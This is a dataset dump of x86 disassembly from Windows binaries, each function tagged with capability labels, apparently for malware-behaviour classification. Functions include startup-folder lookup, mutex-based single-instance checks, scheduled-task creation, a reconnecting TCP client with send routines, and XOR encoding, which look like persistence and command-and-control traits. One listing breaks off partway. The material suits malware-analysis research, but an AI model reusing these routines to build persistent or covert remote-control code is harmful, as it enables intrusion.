joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409840
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44cee6
mov eax, dword fs:[0]
push eax
sub esp, 0x140
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x11c], esi
lea eax, [ebp - 0x118]
mov dword [ebp - 0x11c], esi
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push 0x46735c
call fcn.0041b230
lea ecx, [ebp - 0x14c]
call fcn.00405ca0
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x124], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4098e0
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x134]
call fcn.0041ba50
push edi
lea edx, [ebp - 0x134]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.0041bc70
mov edx, dword [ebp - 0x120]
add esp, 4
cmp edx, 0x10
jb 0x409947
mov ecx, dword [ebp - 0x134]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40993d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4099b5
push edx
push ecx
call fcn.004210b3
add esp, 8
mov edx, dword [ebp - 0x138]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
cmp edx, 0x10
jb 0x409998
mov ecx, dword [ebp - 0x14c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40998e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4099b5
push edx
push ecx
call fcn.004210b3
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420a41
mov esp, ebp
pop ebp
ret
call fcn.0043a6ba
int3
Function at 0x40b170
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x467238], 0x10
mov eax, 0x467224
cmovae eax, dword [0x467224]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40b1b7
test edi, edi
je 0x40b1b7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40b1b9
pop edi
ret
push 0
call fcn.0043a079
int3
Function at 0x40b730
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d126
mov eax, dword fs:[0]
push eax
sub esp, 0x438
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x414], ebx
push 0
mov dword [ebp - 0x414], ebx
call fcn.0043c546
push eax
call fcn.0043a0b0
add esp, 8
call fcn.0043a08f
cdq
mov ecx, 0x3313
idiv ecx
mov edi, edx
call fcn.0043a08f
mov ecx, eax
mov eax, 0x55555556
imul ecx
mov esi, edx
shr esi, 0x1f
add esi, edx
imul esi, edi
call fcn.0043a08f
imul edx, eax, 0x4d
lea ecx, [ebp - 0x444]
add edx, 0x64
add edx, esi
call fcn.00404570
mov dword [ebp - 4], 0
lea eax, [ebp - 0x444]
cmp dword [ebp - 0x430], 0x10
lea edx, [ebp - 0x410]
cmovae eax, dword [ebp - 0x444]
sub edx, eax
nop
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x40b7e0
lea esi, [ebp - 0x410]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x40b7f6
push 0x40
push 0
push 0x46c530
sub esi, ecx
call fcn.00437b40
add esp, 0xc
mov dword [0x46c524], 0
mov edx, esi
mov dword [0x46c520], 0
lea ecx, [ebp - 0x410]
mov dword [0x46c510], 0x67452301
mov dword [0x46c514], 0xefcdab89
mov dword [0x46c518], 0x98badcfe
mov dword [0x46c51c], 0x10325476
call fcn.004055c0
call fcn.00405680
mov ecx, 0x46a570
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b881
sub ecx, edx
push ecx
push 0x46a570
lea ecx, [ebp - 0x42c]
call fcn.0041ba50
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x430]
cmp edx, 0x10
jb 0x40b8dc
mov ecx, dword [ebp - 0x444]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b8d2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b99c
push edx
push ecx
call fcn.004210b3
add esp, 8
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x41c]
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
cmp eax, 1
jb 0x40b997
dec eax
mov ecx, 0xa
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x418], 0x10
lea eax, [ebp - 0x42c]
cmovae eax, dword [ebp - 0x42c]
push ecx
inc eax
mov ecx, ebx
push eax
call fcn.0041ba50
mov edx, dword [ebp - 0x418]
cmp edx, 0x10
jb 0x40b979
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b96f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b99c
push edx
push ecx
call fcn.004210b3
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420a41
mov esp, ebp
pop ebp
ret
call fcn.0041bb90
call fcn.0043a6ba
int3
Function at 0x40c200
Capabilities:
Schedule task via itaskscheduler

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d220
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.0041bf60
mov byte [ebp - 4], 1
lea esi, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
push 0
cmovae esi, dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x40c297
lea eax, [ebp - 0x2c]
push eax
push 0x45d078
push 1
push 0
push 0x45d068
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x40c317
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40c2d3
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40c2c9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c39a
push edx
push ecx
call fcn.004210b3
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 0x10
jb 0x40c37e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c374
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c39a
jmp 0x40c374
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push 0x45d0fc
push 0x45cf50
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x20]
test eax, eax
jns 0x40c297
cmp eax, 0x80070050
jne 0x40c297
mov eax, dword [ebp - 0x2c]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x40c364
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x40c297
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x40c299
push edx
push ecx
call fcn.004210b3
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420a41
mov esp, ebp
pop ebp
ret
call fcn.0043a6ba
int3
Function at 0x40dec0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d4b0
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov edx, dword [ebp + 0x1c]
mov eax, edx
mov ecx, dword [ebp + 0x18]
sub eax, ecx
cmp eax, 1
jb 0x40df17
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov word [eax + ecx], 0
jmp 0x40df2c
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 8]
push dword [ebp - 0x34]
push 1
call fcn.0041c830
mov edx, dword [ebp + 0x34]
mov eax, edx
mov ecx, dword [ebp + 0x30]
sub eax, ecx
cmp eax, 1
jb 0x40df53
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x30], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov word [eax + ecx], 0
jmp 0x40df68
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 0x20]
push dword [ebp - 0x34]
push 1
call fcn.0041c830
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x16], 0
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x34], 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov dword [ebp - 0x24], eax
mov eax, 0x610
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x30]
push eax
movlpd qword [ebp - 0x1e], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 2
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
cmp edx, 0x10
jb 0x40dfe6
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40dfdc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40e044
push edx
push ecx
call fcn.004210b3
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40e028
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e01e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40e044
push edx
push ecx
call fcn.004210b3
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420a41
mov esp, ebp
pop ebp
ret
call fcn.0043a6ba
int3
Function at 0x40f1b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x46c5b4
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], ecx
call fcn.004200fc
add esp, 4
test eax, eax
jne 0x40f2bb
mov ecx, dword [0x46c528]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push esi
push edi
mov dword [ebp - 0xc], ecx
xor esi, esi
mov edi, 4
push 0
push edi
lea eax, [ebp - 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40f211
mov ecx, dword [ebp - 0xc]
add esi, eax
sub edi, eax
cmp esi, 4
jl 0x40f1f4
xor ecx, ecx
mov edi, 8
cmp eax, 0xffffffff
setne cl
dec ecx
xor esi, esi
mov dword [ebp - 0xc], ecx
mov ecx, dword [0x46c528]
mov dword [ebp - 0x10], ecx
nop dword [eax]
push 0
push edi
lea eax, [ebp + 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40f24d
mov ecx, dword [ebp - 0x10]
add esi, eax
sub edi, eax
cmp esi, 8
jl 0x40f230
mov edi, dword [ebp - 0xc]
or ecx, 0xffffffff
cmp eax, ecx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmove edi, ecx
mov ecx, dword [0x46c528]
xor esi, esi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x18], ecx
test eax, eax
jle 0x40f297
mov edi, eax
mov eax, dword [ebp - 0x14]
push 0
push edi
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40f294
mov ecx, dword [ebp - 0x18]
add esi, eax
sub edi, eax
cmp esi, dword [ebp - 0x10]
jl 0x40f272
mov edi, dword [ebp - 0xc]
jmp 0x40f297
or edi, 0xffffffff
push 0x46c5b4
call fcn.00420121
add esp, 4
test eax, eax
jne 0x40f2c1
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420a41
mov esp, ebp
pop ebp
ret
push eax
call fcn.0041fcba
push eax
call fcn.0041fcba
int3
Function at 0x40f930
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x20f8
call fcn.00421ba0
mov eax, dword [0x466014]
xor eax, esp
mov dword [esp + 0x20f4], eax
push esi
push edi
call fcn.0043af63
cmp dword [0x467130], 0x10
mov edi, eax
push 0xa
lea eax, [esp + 0x10]
mov esi, 0x46711c
cmovae esi, dword [0x46711c]
push eax
push esi
mov dword [edi], 0
call fcn.0043c499
add esp, 0xc
cmp esi, dword [esp + 0xc]
je 0x40fac4
cmp dword [edi], 0x22
je 0x40faba
movzx edi, ax
lea eax, [esp + 0x28]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40faa3
cmp dword [0x467478], 0x10
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x10], xmm0
mov esi, 0x467464
mov word [esp + 0x10], ax
cmovae esi, dword [0x467464]
push edi
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x14]
push eax
push esi
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x46c528], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x40fa53
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0xbb8
call edi
push dword [0x46c528]
call esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x46c528], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40fa20
lea ecx, [esp + 0x1b8]
call fcn.0040f690
cmp eax, 0xffffffff
je 0x40faa3
cmp byte [0x46a46c], 1
je 0x40fa94
lea ecx, [esp + 0x1b8]
call fcn.0040f690
cmp eax, 0xffffffff
jne 0x40fa64
or eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x20f4]
xor ecx, esp
call fcn.00420a41
mov esp, ebp
pop ebp
ret
push dword [0x46c528]
call esi
mov byte [0x46a46c], 0
mov ecx, dword [esp + 0x20fc]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, esp
call fcn.00420a41
mov esp, ebp
pop ebp
ret
push str.stoi_argument_out_of_range
call fcn.0041fc29
push str.invalid_stoi_argument
call fcn.0041fbe9
int3
Function at 0x4144e0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44e1ee
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
Function at 0x41a530
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x41a3b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x41a440
push 0
push 0
call esi
push 0
push 0
push 0
push 0x41a4d0
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call esi
jmp 0x41a520
push ebp
mov ebp, esp
and esp, 0xfffffff8
call fcn.0040b170
mov ecx, 1
call fcn.0040e410
call fcn.0040eca0
call fcn.00416f40
call fcn.004060b0
jmp 0x41a4e0

Function at 0x4235df
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x1000367f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0xc]
cmp byte [edi + 4], 0xd6
jne 0x100036d6
xor eax, eax
mov cl, byte [edi + eax + 5]
xor cl, byte [eax + str.v2hU9GQ_f]
inc eax
cmp eax, 8
mov byte [eax + 0x100750b7], cl
jl 0x1000368f
push 1
pop esi
cmp dword [0x10085e38], esi
je 0x10003720
push 0x1a4
push 0
push 0x100862b0
call fcn.100069e0
push 0x10086354
call fcn.100076e0
add esp, 0x10
mov dword [0x10085e38], esi
jmp 0x10003720
xor esi, esi
cmp dword [ebp + 0x10], esi
jle 0x10003720
push ebx
lea eax, [ebp + 0xc]
lea ebx, [esi + edi]
push eax
push ebx
mov dword [ebp + 0xc], 2
call fcn.10007ce0
cmp byte [ebx], 0xaa
pop ecx
pop ecx
jne 0x1000371f
cmp byte [esi + edi + 1], 0x55
jne 0x1000371f
cmp byte [edi + esi + 4], 0xf9
jne 0x1000371f
push 2
push ebx
call fcn.10003a4b
movsx eax, word [esi + edi + 2]
pop ecx
lea esi, [esi + eax + 6]
pop ecx
cmp esi, dword [ebp + 0x10]
jl 0x100036de
pop ebx
mov eax, dword [ebp + 0x10]
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x10003729
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov al, byte [ebp + 0x10]
mov cl, 0x9d
imul cl
cmp word [ebp + 0x10], 0
mov byte [ebp - 1], al
mov dword [ebp - 8], 0x86d
jbe 0x1000378e
and dword [ebp - 0xc], 0
push ebx
movzx ecx, word [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
sub edi, esi
mov eax, dword [ebp - 0xc]
push 8
cdq
pop ebx
idiv ebx
mov al, byte [edx + 0x100750b8]
xor edx, edx
xor al, byte [edi + esi]
mov dl, byte [ebp - 7]
xor al, dl
xor al, byte [ebp - 1]
mov byte [esi], al
mov eax, dword [ebp - 8]
imul eax, eax, 0x87b
inc dword [ebp - 0xc]
inc esi
dec ecx
mov dword [ebp - 8], eax
jne 0x1000375a
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005b12
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
mov ebx, 0x80
push edi
lea eax, [ebp - 0x108]
push ebx
push eax
push 0xbc6
push dword [0x10086324]
call esi
mov edi, dword [sym.imp.USER32.dll_GetWindowTextA]
push eax
call edi
lea eax, [ebp - 0x188]
push ebx
push eax
push 0xbdb
push dword [0x10086324]
call esi
push eax
call edi
lea eax, [ebp - 0x88]
push ebx
push eax
push 0xbf9
push dword [0x10086324]
call esi
push eax
call edi
lea eax, [ebp - 0x208]
push ebx
push eax
push 0xbc9
push dword [0x10086324]
call esi
push eax
call edi
mov esi, 0x10076784
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10005c6a
lea eax, [ebp - 0x188]
push esi
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10005c6a
lea eax, [ebp - 0x88]
push esi
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10005c6a
lea eax, [ebp - 0x208]
push esi
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10005c6a
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x64
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x88]
push str._d____d
push eax
mov dword [ebp - 4], 0xc8
call sub.MSVCRT.dll_sscanf
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x188]
push eax
push 0
call fcn.10007250
add esp, 0x20
lea eax, [ebp - 0x208]
push 0
push dword [ebp - 4]
push dword [ebp - 8]
push eax
call fcn.100078c0
pop ecx
push eax
lea eax, [ebp - 0x188]
push eax
call fcn.100078c0
pop ecx
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.10007390
add esp, 0x18
mov dword [0x1002f3f0], eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005c6f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push ebx
push esi
push edi
mov esi, 0x10009954
lea edi, [ebp - 0x114]
push 0xe
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop edx
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0x10f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x1000994c
lea edi, [ebp - 0xd4]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xcf]
mov esi, 0x10009944
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x94]
mov ecx, edx
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x8f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x1000993c
lea edi, [ebp - 0x54]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x4f]
mov esi, 0x10009934
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x14]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xf]
mov esi, 0x1000992c
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [ebp - 0xa]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 5]
stosd dword es:[edi], eax
stosb byte es:[edi], al
xor edi, edi
push edi
push edi
push 0x147
push 0xbda
push dword [0x10086318]
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
mov ebx, eax
lea eax, [ebp - 0x194]
push 0x80
push eax
push 0xbb9
push dword [0x10086318]
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push edi
push edi
push 0xf0
push 0xc0d
push dword [0x10086318]
call esi
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov esi, eax
lea eax, [ebp - 0x194]
push 0x10076784
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10005db8
lea eax, [esi + esi*4]
lea eax, [ebp + eax*2 - 0x14]
push eax
lea eax, [ebp - 0x194]
push eax
mov eax, ebx
shl eax, 6
lea eax, [ebp + eax - 0x114]
push eax
push edi
call fcn.100072f0
lea eax, [ebp - 0x194]
push esi
push eax
push ebx
call fcn.100074e0
add esp, 0x1c
mov dword [0x1002f548], eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006563
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
lea eax, [ebp - 0x10c]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push 0x5c
push eax
call sub.MSVCRT.dll_strrchr
pop ecx
cmp eax, ebx
pop ecx
je 0x1000659a
mov byte [eax], bl
lea eax, [ebp - 0x10c]
push 0x1007ba48
push eax
lea eax, [ebp - 0x210]
push str._sconfig_s.day
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, 0x80
lea eax, [ebp - 0x210]
push ebx
push edi
push 3
push ebx
push 1
push 2
push eax
call esi
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x100065fa
push ebx
push edi
push 1
push ebx
push 1
lea eax, [ebp - 0x210]
push 2
push eax
call esi
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x1000661f
lea eax, [ebp - 8]
push ebx
push eax
push 0x6a4
push 0x10085b68
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000661f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006624
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
lea eax, [ebp - 0x108]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x5c
push eax
call sub.MSVCRT.dll_strrchr
pop ecx
cmp eax, ebx
pop ecx
je 0x1000665a
mov byte [eax], bl
lea eax, [ebp - 0x108]
push 0x1007ba48
push eax
lea eax, [ebp - 0x20c]
push str._sconfig_s.day
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x20c]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x120089
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100066c0
lea eax, [ebp - 4]
push ebx
push eax
push 0x6a4
push 0x10085b68
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x100066c0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
leave
ret